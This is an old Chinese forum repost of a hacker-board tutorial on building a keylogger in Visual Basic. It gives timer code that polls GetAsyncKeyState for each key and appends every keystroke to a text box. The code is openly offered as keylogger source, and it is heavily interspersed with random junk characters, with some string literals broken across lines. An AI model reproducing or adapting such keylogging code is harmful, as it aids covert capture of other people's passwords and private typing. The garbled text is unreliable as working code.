数学建模社区-数学中国

标题: 手把手教你做键盘记录器 [打印本页]
作者: 韩冰    时间: 2004-10-4 12:04
标题: 手把手教你做键盘记录器

作者：小珂 转自黑基BBS原创作品版5 i' [* i1 ]" [. Z4 p+ [4 t 版权归黑客基地所有， 转载请注明出处

; J3 D: H; G* Z

前几天写了一篇键盘记录器，好多人反映看不懂，' }/ r4 Y( y6 f( i( U- p 对新人没什么用处，所以且这篇我会写的) b8 g' a- h% V 很详细，再也不像那篇，出了代码什么也没 ^!^ ' N. q+ W7 u. @' K( S这个程序将会详细的讲解如何记载键盘的每一次输入。2 B% ~* M( i" I h* p* \* L! m* p 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 5 f" s; |" C/ i! D使用GetAsyncKeyState可以获得键盘的动作。$ |6 o/ F+ X) Y6 ]9 Y GetAsyncKeyState函数根据虚拟键表判断按键的类型。9 E/ P& x' w2 F- l- J" T 返回值为一个16位的二进值数，如果被按下则最高位为1，' G7 D% r8 b# P/ S' q7 ?& T% U 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义：7 D% M9 \4 a1 I4 z8 w" w Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 4 K4 d; \& o1 C5 o好了，函数就先介绍这么多，下面开始动手实战了: Y I" s; H% `' I first,当然是创建窗口了 % h' i& u# s' e 2 Y" U: ~, V, p1 Y: t $ `/ n; x/ |3 I$ n: ^/ P ~2 ?2 m) O3 y8 X ( T; f3 `0 {' q) |; S6 d. k7 H4 e4 F7 m$ o" `* r. N2 P 在时间控件的Timer时间中定义检查按键类型，代码如下： / Y/ L. v3 O _6 H( s( f9 nDim AddKey% \; f7 K. _9 f, O KeyResult = GetAsyncKeyState(13) '回车键 1 L; | }0 X- a8 A% ] b' ~' H/ e If KeyResult = -32767 Then4 F5 S7 Q6 K# l/ z; L6 A; o AddKey = "[ENTER]"/ p# R+ w; [3 i# ?3 G. l9 e h: x- @ GoTo KeyFound+ V* |; E) s% y( G3 N0 x( p- v End If % k. @1 i) x# v$ M% u6 C0 h2 P+ t KeyResult = GetAsyncKeyState(17) 'Ctrl键 2 W0 L4 V" N8 [5 ~' s If KeyResult = -32767 Then 8 ` P: d' l2 ] AddKey = "[CTRL]" $ k: n# Z, J) v GoTo KeyFound. Y2 G8 [! K: T/ k7 |; d End If# J+ F7 W/ X! p& G9 {0 S" B7 _ KeyResult = GetAsyncKeyState(8) '退格键 - g, T" j. }# L1 ^7 f/ c If KeyResult = -32767 Then 3 {7 W8 F/ _# `/ u( ] AddKey = "[BKSPACE]"3 q7 p* m) S3 ?0 C3 J4 y9 U GoTo KeyFound" o* X) j# U' m) Q End If$ M; W8 h( ]) D+ u! P! X1 G ! w- o) e/ u' e" V- b) N" |2 z KeyResult = GetAsyncKeyState(9) 2 W; w+ H$ a% w$ Y N' j- U4 x If KeyResult = -32767 Then & ?+ K7 W7 R* `6 G* h% Q; z AddKey = "[TAB]" $ v+ {9 L( l8 U- c GoTo KeyFound 2 J5 N. P7 U$ D; V+ Z End If& N0 \( b2 R7 Q4 N 6 n# g& I2 _3 ~* q; {+ S KeyResult = GetAsyncKeyState(18) ' p' B9 A( B1 H+ W' ] If KeyResult = -32767 Then ) Z/ u }$ u% ?- D AddKey = "[ALT]"3 I7 ?4 D. d$ l GoTo KeyFound: l, N+ F* S0 l- d; k9 \! u End If * h& w7 [, e. z8 T ( X3 d. [2 s% ~. {; R; ]0 {# e KeyResult = GetAsyncKeyState(19); n; J( {' J' N3 J If KeyResult = -32767 Then- o6 L" r/ c1 s2 V/ E4 d* c) i AddKey = "[PAUSE]"8 h6 _) n1 h- k6 ^* S GoTo KeyFound4 a; R0 a) K- Y5 k1 e$ } End If" ^0 i5 _2 A2 p/ p+ E $ u8 S6 N+ j, Y' ~: Q! g KeyResult = GetAsyncKeyState(20) 6 X9 v4 K3 [1 u, u/ W) F* X6 v If KeyResult = -32767 Then 4 p5 O: p$ `- n AddKey = "[CAPS]"$ x; l3 I/ |( H. H. U% b4 q GoTo KeyFound4 X/ _4 X% K! P0 \) I End If 8 N5 Q$ G+ H, m2 g+ M , `8 U% c6 M% h" `: F0 }( v KeyResult = GetAsyncKeyState(27)$ B2 @9 ]* O) ^! M- X; H7 N# c If KeyResult = -32767 Then 2 t# |; S1 @0 f0 N AddKey = "[ESC]" & X% R9 i8 d3 Y3 a- W/ }$ R GoTo KeyFound8 Q+ x& M* k# j: J) X- \. W# a& z End If7 {2 v1 O( F) V6 I r* Y: s0 T 4 V# ?/ a( d8 G7 S KeyResult = GetAsyncKeyState(33)0 t, }- k; c* F5 h: Z z- U, e If KeyResult = -32767 Then4 g- F7 a9 o- F8 m* O* m AddKey = "[PGUP]" ; H; K6 J5 \% o: H GoTo KeyFound ! r8 \% s7 e, K" _/ w. I End If & d2 D' y$ N: j+ I' V , h2 u5 Y+ [3 ]) \ KeyResult = GetAsyncKeyState(34)1 s9 C- C, o9 x: m; u, D( B& q If KeyResult = -32767 Then # t. c1 O1 w+ }8 }9 D/ j AddKey = "[PGDN]" , S) P" K( |6 c/ W& i: V! B GoTo KeyFound 9 r+ p5 J7 Z) k' z4 [, s End If : ]% O) c0 o0 Q7 L- W2 z ' }; e+ m/ t7 b( t5 G9 }4 M6 [ KeyResult = GetAsyncKeyState(35) ) |* {) Z0 ]& F* T: t" @* W! ? If KeyResult = -32767 Then2 g0 ^( l P0 [/ x- b AddKey = "[END]" 5 N E0 y, C0 P$ _0 _( c4 i% g9 Z GoTo KeyFound% @: a, t0 ^; ] End If 1 |: m7 y: ~: J4 W - Z( `" o: \9 n0 ~! m KeyResult = GetAsyncKeyState(36) ! c/ Y! x- G; _; c7 M& u2 n If KeyResult = -32767 Then : U8 C) n6 H9 m8 | AddKey = "[HOME]". J# o5 i. g# u5 o# [% C' w GoTo KeyFound1 x8 ~/ s6 D y: n# Z End If 1 A+ M1 q/ }- Z3 D; J e: N' u4 }7 T( [1 o% K3 s/ j3 k0 t KeyResult = GetAsyncKeyState(44), o6 J/ x2 ^# E If KeyResult = -32767 Then5 X, t" }7 w, n. ^8 X! r AddKey = "[SYSRQ]"2 j5 e2 I" U, w5 o& x GoTo KeyFound + g' y8 r" v, X( X7 Q5 e7 D4 k End If. N& O$ }1 Y! I; R+ B1 b : V" f5 p! O3 m3 }1 | KeyResult = GetAsyncKeyState(45) 0 r7 g# Z) E* {5 W3 N If KeyResult = -32767 Then + b3 x7 z! O# A# f' h AddKey = "[INS]" D9 |6 G( q7 f GoTo KeyFound 2 \. l7 s2 B" i9 u/ } End If. |+ {" ]5 v1 l# ^# n0 o7 Y( A 6 J- U; s7 |4 o% \& ?& t# L2 Z% n7 O' ~ KeyResult = GetAsyncKeyState(46)) i. I% z2 m( R S- T l Q If KeyResult = -32767 Then ; c! Z' \ J2 b; t. ^4 X" e AddKey = "[DEL]"; g1 ?6 e8 `$ @. V GoTo KeyFound; W$ t$ h: r4 o$ ^ End If9 z: D. G/ H; E6 W1 J% b( G # e# n3 F& t" O I/ h KeyResult = GetAsyncKeyState(144)" N# O- p, {7 B3 k4 ` If KeyResult = -32767 Then, n% v+ m6 T" \6 f! N. p& E* l AddKey = "[NUM]"1 n/ Q: n/ U$ t; k$ m" c GoTo KeyFound $ f! z( W- C7 i, |- {4 x2 } End If 0 f! d3 c2 i3 U ! i8 W* G2 S) [, q1 P6 A; r KeyResult = GetAsyncKeyState(37) - _6 B' f0 m$ u, q If KeyResult = -32767 Then % H! S0 M2 z. s7 k AddKey = "

"$ M8 Q# B1 V7 z* m5 d4 R& y GoTo KeyFound& x8 X2 ^7 t8 K" ^% V: A End If) ]* g$ q9 b4 A5 u/ A6 E9 }7 d 5 I9 l% l! G+ m. i, e0 ^4 A KeyResult = GetAsyncKeyState(38) 2 U5 E. e u9 a$ k4 U If KeyResult = -32767 Then. `/ {% U- B& ], c AddKey = "[UP]"3 Q0 K+ a0 r0 ` GoTo KeyFound 3 Y( @ D* G: q% x End If ' Y2 V& n+ _6 f1 ` 0 j1 t2 k. ]" l& H% @* Z$ d- \* p' } KeyResult = GetAsyncKeyState(39)" p) Q: N1 q+ F/ j$ U6 w L If KeyResult = -32767 Then: a) I2 Z# b8 p3 @; _ AddKey = "
"' o/ L. `( m) ?# |* J$ S GoTo KeyFound * K' ^1 G$ p& o% \1 y( @3 r End If 3 L: {6 @. @3 X; f9 T) p * y8 {/ ^3 t/ V% Z9 M KeyResult = GetAsyncKeyState(40) 5 H8 m3 p' d4 V( | If KeyResult = -32767 Then/ y Y# h6 K; w- s/ x Q AddKey = "[DOWN]"- d" s1 K7 ~6 ? GoTo KeyFound 2 @* o. ?7 t; n1 p9 X/ V' b! _' b End If - j0 B+ d1 d3 X/ Y8 C- E! h* l ' u( a+ p& c% o) V0 J; @+ ~) r, o+ N/ X ( z0 X5 E# t) @2 a' ^" O( I' iKeyResult = GetAsyncKeyState(112) 1 `7 {; v$ ~) Q3 g% m- [0 W If KeyResult = -32767 Then+ U% S5 ` { W6 J; h AddKey = "[F1]"0 a3 M l" Q+ f GoTo KeyFound ; ]% \/ P2 d4 K: o G/ y End If) a: }! n% a3 e3 M$ h 3 [' P7 ?, ^6 a7 R' q) ]KeyResult = GetAsyncKeyState(113) 1 P; L" n9 o) {( y- x5 P+ u7 L/ W If KeyResult = -32767 Then F4 Z/ _4 ~" u1 O/ i A AddKey = "[F2]"( O( \# B, R! @5 E GoTo KeyFound/ Y" \; J0 D1 B) D5 Z- J End If: t1 `! J0 y& J# J |- Z1 [6 L Y: M' k/ ] KeyResult = GetAsyncKeyState(114) % s0 d7 b) N: z: B* _ If KeyResult = -32767 Then 8 x) T O. J4 C$ G2 i AddKey = "[F3]"( C( L& j/ r% p! Q: c GoTo KeyFound, u( o8 @' X/ f) s: N5 P& H. D9 s% Z End If : P- ?2 J% a$ @4 D2 I4 i, L2 O & C; p$ E# O/ U KeyResult = GetAsyncKeyState(115) " w! J/ v6 O, r# S1 }4 f# \ If KeyResult = -32767 Then 3 ~1 S7 ^, D* u! H AddKey = "[F4]"9 c' z+ [+ m5 M& [2 X: w" ] GoTo KeyFound L. `+ l/ A& y: b End If5 F b* a! `9 S6 _% B1 A( H( i 3 C1 |3 W$ H6 O1 u- ZKeyResult = GetAsyncKeyState(116) + v! `- J8 v" ` If KeyResult = -32767 Then 7 S, F9 T' o9 h7 u: q) u! d AddKey = "[F5]"$ }% D$ S# ~1 f m0 ?0 E: O GoTo KeyFound : h3 X& i5 H! T3 {4 q1 M% z End If, T0 \9 N4 ^$ y; L0 c: P4 `9 h $ P9 b3 W; k1 m1 ~2 W1 H2 |1 f KeyResult = GetAsyncKeyState(117)8 s2 ?' W$ C! o. w( [5 q8 e0 m, J If KeyResult = -32767 Then " J& K5 k! T; H; S" p5 n AddKey = "[F6]" ! O2 b# J" L9 C+ V0 g GoTo KeyFound & s) D% ]. b; c7 V+ j, L0 S: S" c End If4 }& U0 V4 ^' w/ d) k' N9 D: J& S ) v ^# O" Q% B& j' aKeyResult = GetAsyncKeyState(118) 5 t' {1 r! p" ]& t9 Q If KeyResult = -32767 Then - h' i# t7 u! [$ ^/ _ AddKey = "[F7]"% D+ J+ L5 F: U# u# r; R+ h GoTo KeyFound # ~( Y% `+ E* ~! m End If1 L3 W5 b) D- @& ]# x ' {1 z6 v0 [# C KeyResult = GetAsyncKeyState(119) : f( S# V1 k4 }" x6 X If KeyResult = -32767 Then 7 H9 g1 t2 n6 ] AddKey = "[F8]"5 n( o, o* d) P/ _% H' S' @! X% K GoTo KeyFound ^/ b2 X7 Y& h" J* ?: q End If . }2 H& f; w6 ^* |+ ^0 M$ Q : j: [3 E: t7 f( I l3 hKeyResult = GetAsyncKeyState(120)/ \* E1 U' X& y' h8 _% v If KeyResult = -32767 Then9 ?' d3 t x# ?% q AddKey = "[F9]"8 _8 L1 X1 w/ ], o4 F3 y GoTo KeyFound4 W, x+ f! i' Y) a/ S( G End If6 }5 L! s7 X3 ^) J8 h! P9 c% ` ( L6 ~% ^* E2 D9 h5 ]: N4 M, M+ ]KeyResult = GetAsyncKeyState(121) ( {! t3 J2 \+ g2 E4 l3 U$ K If KeyResult = -32767 Then 2 Q! U- L4 V8 S7 w5 K AddKey = "[F10]" 2 |: _& A( J( w GoTo KeyFound7 G. f8 ~; r& h; G End If D& o. _' P9 ]+ F ! O9 M; q+ I9 HKeyResult = GetAsyncKeyState(122)- {' h# g G8 ^2 s If KeyResult = -32767 Then # U; X' b( K& i# M* l AddKey = "[F11]" ' s3 }, q, h4 N# k* W# M9 l1 _ GoTo KeyFound. K. m& t- q1 v, j( c2 \ End If. \" ^% ]) c U 6 p6 F; I& k9 n9 g5 l$ |6 c KeyResult = GetAsyncKeyState(123)/ T- V7 S& x! X9 D6 I If KeyResult = -32767 Then9 f/ k7 a6 |* k' Q7 z- l) I2 ^ AddKey = "[F12]" 1 H5 Z O6 z! v3 r5 ?4 w* p GoTo KeyFound & A- |4 u9 }- `: \+ O+ F1 L: E7 \ End If $ }4 J8 K% {7 ^5 U2 Y3 z# ^ 5 w/ U4 b; d* F6 {# u3 Z KeyResult = GetAsyncKeyState(124) E+ I# D: f: [$ Z If KeyResult = -32767 Then$ S7 t: \. i+ g4 S AddKey = "[F13]"3 ?3 G. [2 S0 j/ t; e( F& { GoTo KeyFound ) c( O" Z$ ?; Z6 ]/ i: k End If. g7 {. v4 S; ^1 w/ a' { ) k$ C+ u- w. P4 E KeyResult = GetAsyncKeyState(125)1 S' B* }& l6 Y3 V3 W- ^4 Q9 R If KeyResult = -32767 Then3 a: w! l- C7 a/ D0 b AddKey = "[F14]": K( I( b# M3 j/ X! E" I; l& F GoTo KeyFound 8 W5 N8 r1 Z) T7 x* a End If8 |) V# n/ x+ ~% t& e; {, ~4 T0 U& K 9 I7 C3 ?. D TKeyResult = GetAsyncKeyState(126)* w# O& h$ q8 x6 a" u If KeyResult = -32767 Then8 M' C- D- B9 C7 R( _) R AddKey = "[F15]" / Z9 ?# p2 s$ Z0 a8 V% r GoTo KeyFound3 Z: H: Z# p& ^ End If( u! o' P" r6 N4 Q1 h - i4 A; e m" r" P; s/ z: Q KeyResult = GetAsyncKeyState(127)/ s8 e8 W! h# z If KeyResult = -32767 Then# A& l& S2 ^) n% R1 g AddKey = "[F16]" : N5 f2 }1 k, v* J v& ?1 C GoTo KeyFound : }! Y# S( q' u7 }+ Q% `$ B End If & E+ j+ Y% a1 L/ o) |! F& R6 ]) t8 Z KeyResult = GetAsyncKeyState(32)/ i& T8 E; F6 ?, d If KeyResult = -32767 Then & Z9 ^8 b9 x0 i! G* i0 i* S AddKey = " "$ o# t7 }. g+ B% |+ R GoTo KeyFound+ g( C: c) e: A: _8 c5 l" W; F End If; ]& a$ I f( [8 R" v0 L/ A # U5 n) Q* r6 S* O" N" Y KeyResult = GetAsyncKeyState(186) : V; |, G( b; k& M# ]7 L7 y If KeyResult = -32767 Then : L4 T$ P9 P7 E( k! D AddKey = ";"# o7 n7 J# _# I2 }) b6 Z- V GoTo KeyFound- L: A2 S5 ] @ End If, X' x; ]" i9 |/ x/ P' P& ~& W' W 0 I! h; P. R: L8 ^1 EKeyResult = GetAsyncKeyState(187): H4 }: i/ B1 ~9 T P- i3 ~$ i" W) W2 Q If KeyResult = -32767 Then 8 F; N! W4 C' L0 j$ d5 z: T/ i+ Q AddKey = "=" % E/ f+ ?1 s1 U9 J% ? GoTo KeyFound" ^: B8 H) V. u1 j# n End If 6 @$ ~2 ^) e( ^: u 5 R- c4 h( t4 B1 q: cKeyResult = GetAsyncKeyState(188) M1 ?: i. [' B, q If KeyResult = -32767 Then ( D8 s2 t# J3 ?7 m8 \" N AddKey = "," 5 w( a! v, X( I2 e3 T2 _# k GoTo KeyFound7 \3 r, \7 l9 w6 Z2 `5 [3 |6 x End If0 H4 K) V5 y$ @ _: j d. w+ ?2 R4 M' w( ]KeyResult = GetAsyncKeyState(189) . s7 W% ?1 _2 F/ P2 f1 k" M0 _ If KeyResult = -32767 Then0 r8 M% ]- Q9 E; i' |6 A$ v AddKey = "-"0 n! z* q4 K2 G! A5 E GoTo KeyFound: M. k( [- j1 \+ Y$ j7 f) A8 m( G End If, g; x- h/ x D& w, }) H0 d $ S- `( j I; V; `2 D: G; \0 K4 S; L KeyResult = GetAsyncKeyState(190) ?) Y+ b. u5 P If KeyResult = -32767 Then) S' a1 y$ }- l" g- j/ R* x AddKey = "."5 S, K8 x8 ]# S1 H5 ]( [ GoTo KeyFound ' Y/ Z) d9 c" C# J) I! L0 t" K End If 2 \1 V, q" W2 f% k/ G7 F2 C* ?# v& `" d5 I5 } KeyResult = GetAsyncKeyState(191) 7 s' i4 f e8 Z5 ?: v0 X If KeyResult = -32767 Then " W, q& ?6 e |- z" C- M1 D* m AddKey = "/" '/! ?% z6 K& F S$ v% C1 ]0 D GoTo KeyFound & G) D% V- `0 d. P/ u2 `9 K& e End If% }* U6 G3 f- @# r 7 F. E; y! R2 o. o. O" A% M KeyResult = GetAsyncKeyState(192) + X+ y: g3 F1 {- {1 o% I If KeyResult = -32767 Then8 |+ v5 j, z- D0 k/ Y" M( [ AddKey = "`" '` : f, E. u9 k$ [& z4 f GoTo KeyFound 3 A: c$ m; w, u3 O F O0 v4 B End If* i o n/ u- D1 z * x8 @( q( P/ g0 }! n. o0 {* x% j C/ C9 a- ?$ E2 ` 6 h0 o' `1 W, g/ V* B9 c '----------NUM PAD ; U# J' t7 z/ [8 @0 V" x/ aKeyResult = GetAsyncKeyState(96)' }6 R1 U" N0 o8 E( l If KeyResult = -32767 Then 0 X- `0 q2 Q/ {1 a5 _9 ~ AddKey = "0"0 r+ A9 x' I2 {1 _ GoTo KeyFound 9 f k; ]0 U2 d8 ] End If # G4 P7 p; y2 H" i- W. P8 r' ~ 2 u& c! b9 l1 {9 A, z( U. zKeyResult = GetAsyncKeyState(97). m5 M) U( q0 n3 J If KeyResult = -32767 Then) x) U( M) f2 i z$ G. \ AddKey = "1" ' k4 x- D0 F5 y; W; O" ]' O/ i GoTo KeyFound2 U6 ?( L. X- b7 G; Y8 z( n* W End If4 ~0 `& w" n& A, _( V( V " a; V+ L4 f$ x5 I! _1 T \+ J8 q! j* L' FKeyResult = GetAsyncKeyState(98) $ D( i" X# A- U' E) { If KeyResult = -32767 Then, p$ C0 B' V9 Y l6 n, N' l AddKey = "2"2 v7 r6 |4 J4 g$ ]& W$ E' O+ y GoTo KeyFound, d! G7 o; @1 y End If 8 h% [9 e! i1 a # z* M: Z9 i9 f$ \/ x+ s1 E( F8 JKeyResult = GetAsyncKeyState(99)' h$ X$ G0 T* ~" i! v7 a% @( x8 \ If KeyResult = -32767 Then1 x0 S/ r+ B/ c/ o AddKey = "3" # c* w/ {4 w4 v9 i) _ GoTo KeyFound ! W- B; k6 y1 t) O, d" u3 j" ] g8 d End If ) V+ j0 `3 i$ [% V " a# e! L6 W5 L$ W& X% C6 s0 r8 s # F2 f' _; @9 Y3 s# ]! qKeyResult = GetAsyncKeyState(100); d3 Y. X6 H7 }3 o; [2 N. p0 U6 d) r If KeyResult = -32767 Then 4 b% Z9 b) I; \% N# U' D9 n AddKey = "4"1 x" Y1 c( q7 G5 n, Z# z) j GoTo KeyFound9 M3 H+ ~& ]+ m* |/ Q2 r* S0 c& D x End If . I$ s0 A }9 P& k6 {/ U3 R. H1 P+ I9 t0 d KeyResult = GetAsyncKeyState(101) 5 S% [1 \: T- }' }1 ]/ G0 F, E% {- P If KeyResult = -32767 Then + k9 Q' |$ O0 X6 v AddKey = "5" 8 p% f- `' N) f5 W GoTo KeyFound% [1 P$ ^9 {( w) {/ N* e End If # @5 l1 `0 y3 j- [- _ b" n% I' n- i1 Q+ x ) S5 I I$ v! x9 B% WKeyResult = GetAsyncKeyState(102) : R/ R: f3 D7 d# l# H/ ~ If KeyResult = -32767 Then 4 {& v8 ]/ T* T, V! a. q9 r AddKey = "6" ( V6 y6 Z% @5 K+ b! N GoTo KeyFound 2 q1 n) H) r$ t% b- a4 L3 f End If- o& x/ r- f. N$ w 5 ]: z b( y2 u" I% z" B) o/ m KeyResult = GetAsyncKeyState(103) 1 E& l! k! C: K5 t4 D) ^ If KeyResult = -32767 Then" n- Y5 d$ U. [' c0 I AddKey = "7": A6 E; W; D: ~! I( H# g GoTo KeyFound. I7 D! f+ v: g- p' X End If' W) a4 t8 i. e6 G, q. _9 w9 V 1 j l! _% m ]* C; W+ w0 @ + i( G9 \. D2 HKeyResult = GetAsyncKeyState(104) ( N* T. e4 X, l If KeyResult = -32767 Then ' v8 ~+ D5 u' X% ?0 v- c) u AddKey = "8" & U z/ o n$ j/ q" G9 }- T k GoTo KeyFound m' D! x3 ?$ Y1 o; n( l End If 4 h) v; r' u% e$ i5 ]* r & f; X/ {. D: q8 h9 i0 qKeyResult = GetAsyncKeyState(105)1 S% t2 R; }) B( p- ` If KeyResult = -32767 Then % W- D) C/ J. k" ? AddKey = "9" * n/ T! U; e( I- e1 I GoTo KeyFound- E+ k4 P, a: N0 X' X* Y6 q9 d8 K End If * ?/ g- L3 {6 } , Z: D* @9 P2 ~" ~! ` 7 L8 N: D3 A: A( i KeyResult = GetAsyncKeyState(106) ' D. d! u7 m- F, H5 S If KeyResult = -32767 Then - W/ n i1 c% Q8 V- u; W AddKey = "*" % s2 e @& \6 k. ]4 b5 \* Q6 y GoTo KeyFound; {4 u. U8 R1 m/ Y! ? u End If + M4 n9 h2 H( v, @5 @- @- s+ |+ j/ Y& r KeyResult = GetAsyncKeyState(107)$ \1 ~: f2 t/ O- N If KeyResult = -32767 Then& H* u" K+ G& p3 U5 _. a AddKey = "+" / V# _- R, U$ w/ v7 |" O5 e GoTo KeyFound $ O, ^+ |6 o& t S f9 a End If9 q5 v4 d0 b3 p4 c( W$ S2 G + G" J0 G: o- g8 {+ J: ZKeyResult = GetAsyncKeyState(108)! @4 N& S% H" J$ u. }, w If KeyResult = -32767 Then 6 V% W1 t/ @1 q4 c AddKey = "[ENTER]", H; x1 q9 ^9 ?8 i* |- Y7 P3 X5 S; A GoTo KeyFound( |. k' I& d7 m3 N End If H6 P$ D0 R& o/ v+ R8 d# I + G" p/ r- w9 O0 d# b+ h, X% _KeyResult = GetAsyncKeyState(109) * U% Z' ~6 y5 |: j2 ^ If KeyResult = -32767 Then & l6 N+ n' f, z2 w# r) D AddKey = "-"; s1 }; D. L/ d6 i. }( C: z" k/ N GoTo KeyFound : F7 @* G) y" f$ V L End If3 Z+ Z ]9 ^1 [% d A ' k/ x' v3 X2 ]KeyResult = GetAsyncKeyState(110) 8 R* q G s4 _% S2 l If KeyResult = -32767 Then5 c$ X1 w; h* b4 V. h% n. z AddKey = "." & E" m7 M) d. b' P7 n& B, k GoTo KeyFound % w% r% `- W* z# C4 M' u End If/ U. C/ ~7 y1 ?" c' B `9 u + d+ E+ {! A% k, cKeyResult = GetAsyncKeyState(2)4 X' r/ T7 C( ^4 k6 d1 }- _- h If KeyResult = -32767 Then: u6 D2 n, {. A7 n4 V AddKey = "/"! M7 T) z a1 F8 ?$ l5 } GoTo KeyFound # j2 I7 {& J; D+ q; Q/ b3 ]2 M End If # Z. l9 y$ h9 o( w1 v9 r" Q/ g . W7 h& @" d' I7 U. ~. AKeyResult = GetAsyncKeyState(220) 5 C0 d; b! i& q If KeyResult = -32767 Then: L, p. `/ x. e8 ]7 ~. S AddKey = "\": W: W% Q! a9 `% c' C+ m) K* [! | GoTo KeyFound 3 j! A$ C' h5 r }9 h End If " ?) C j. r. p! `, E) w; b+ e' V1 ^ KeyResult = GetAsyncKeyState(222)) T- T2 u s- \. z6 S* d If KeyResult = -32767 Then ) n$ p, Q3 L+ B- C AddKey = "'"& m1 h3 |& l. L8 h4 Y: x- F9 R GoTo KeyFound! O! d$ Z2 k! e End If % n+ A% T! B' F l |6 A$ O8 a% E" [! P3 [4 s% v KeyResult = GetAsyncKeyState(221)5 N8 V4 w# X$ P0 O' a. } If KeyResult = -32767 Then 9 Z Y9 C$ `" c AddKey = "]"4 u7 } q+ C" I. O0 x! t/ }0 ~: j1 q % x; o/ Y0 u$ R e1 E3 W( D" H7 }! f( ^% T5 u GoTo KeyFound0 z# Z% {4 ~' E3 t- E, l End If- ?. }9 Z7 g1 u * Z, G* U" r* G3 bKeyResult = GetAsyncKeyState(219) * A0 q4 x. g' U7 I, G6 B If KeyResult = -32767 Then( p6 s: `' @ {( m, L AddKey = "[" ' W$ x- S" c. b' {$ y+ ~ GoTo KeyFound 2 k: I$ }, f& z$ f End If6 n1 v# _2 Z0 n$ H 5 A+ |! i2 G- o& h/ s7 z+ k3 J KeyResult = GetAsyncKeyState(16) 'shift键 ( t L9 E5 F* f a) R4 F& D1 Q# [ c If KeyResult = -32767 And TimeOut = 0 Then 1 c( L3 K; f2 e* _8 f AddKey = "[SHIFT]"+ Y* q2 T/ p C. t6 b1 j LastKey = AddKey ( n9 o3 b5 @& t0 y4 X; _& Y TimeOut = 1 + [& ?8 {# h0 B2 ?* R GoTo KeyFound & P7 H* V. x3 q- i h$ D$ I End If 7 F' Y9 D i+ ^! `" ~ * [1 i3 u/ G8 L/ D. C, e KeyLoop = 414 H1 f$ N' {, s' u) h* E ) r2 m* b# `6 P! \* z Do Until KeyLoop = 256 ' 显示其他键 " v( L) d( u; W$ h2 F! |' n KeyResult = GetAsyncKeyState(KeyLoop) 5 e' H$ Z/ M! H- r% N If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) 0 {7 b& y! J( K+ Y$ f KeyLoop = KeyLoop + 1 ) P/ O% t: S, O" H' B0 D9 o/ i; v Loop: O9 ]" r* \9 e) a. ?7 \ LastKey = AddKey - B9 q# F9 V& A, |8 Y Exit Sub. Q! ?1 B( S+ t/ m KeyFound: '显示键的信息) r `0 }6 S/ K& K8 r " D9 |9 _6 C" e0 Q Text1 = Text1 & AddKey . ^! m3 u' X/ \End Sub! P" r# M0 {. d. o 上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，……9 O# e& s4 ?/ U1 j5 Z 由于数目太多，一一列举不方便3 x& X* S+ M' G$ ^- j) z4 B1 i/ ~. h2 ` 现提供Ascii表一份供对照$ ^0 B' R0 h3 Y! \" @6 g' }* B http://www.cstudy.cn/repository/ascii/default.htm% h, Q$ l: h; \/ z' n2 J 下面是其他的事件 % B# ?" j: m+ ]3 dPrivate Sub Timer2_Timer()3 Z( v1 g1 w/ O3 m/ s TimeOut = 0, x4 a! a1 ~& M; K5 T$ c End Sub + m. c0 F$ T' T% F6 t% f% j目的是随时刷新清空 0 l+ H# {3 u2 p" V; i) Q% e0 t





欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5